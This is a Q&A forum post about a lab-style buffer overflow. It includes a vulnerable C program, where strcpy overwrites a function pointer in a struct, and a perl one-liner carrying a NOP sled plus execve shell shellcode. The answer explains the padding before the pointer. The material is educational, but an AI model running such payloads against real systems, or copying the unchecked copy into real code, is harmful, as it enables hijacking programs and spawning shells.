Q:

Heap Overflow - Structure of the heap

When trying to execute a basic heap attack I understand everything, except for size of the input string. The following code can be exploited using perl -e 'print "\x90" x (760) . "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x78\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80" . "\x00\x98\x04\x08"' as an argument for the program. The shellcode being used is 21 bytes long. The size of the total string here is 785 bytes, which is 777 of the buffer + 4 of something i don't know and 4 of the function pointer we are overriding.
I read here that the 4 bytes are:

A pointer keeps track the top of heap similar to the stack pointer of the stack

Is my assumption correct?
#include <stdio.h>
#include <unistd.h>

void greetUser(char *s) {
    printf("Hello %s!\n", s);
}

struct data_t {
    char buf[777];
    void (*fp)(char *);
} somedata;

int main(int argc, char **argv) {
    somedata.fp = &greetUser;

    if(argc < 2) {
    printf("Usage: %s YourName\n", argv[0]);
    exit(1);
    }

    strcpy(somedata.buf, argv[1]);
    (somedata.fp)(somedata.buf);

    return 0;
}

A:

No, this is not correct.
You just have to overflow 784 bytes:
 char buf[777];     // 777 bytes
 <padding>          // usually 7 bytes to have fp 8-byte-aligned
void (*fp)(char *); // 8 bytes function pointer

on 64-bit-systems. On 32-bit-systems fp should be 4-byte-aligned (hence fp starts 780 bytes after beginning of the structure)

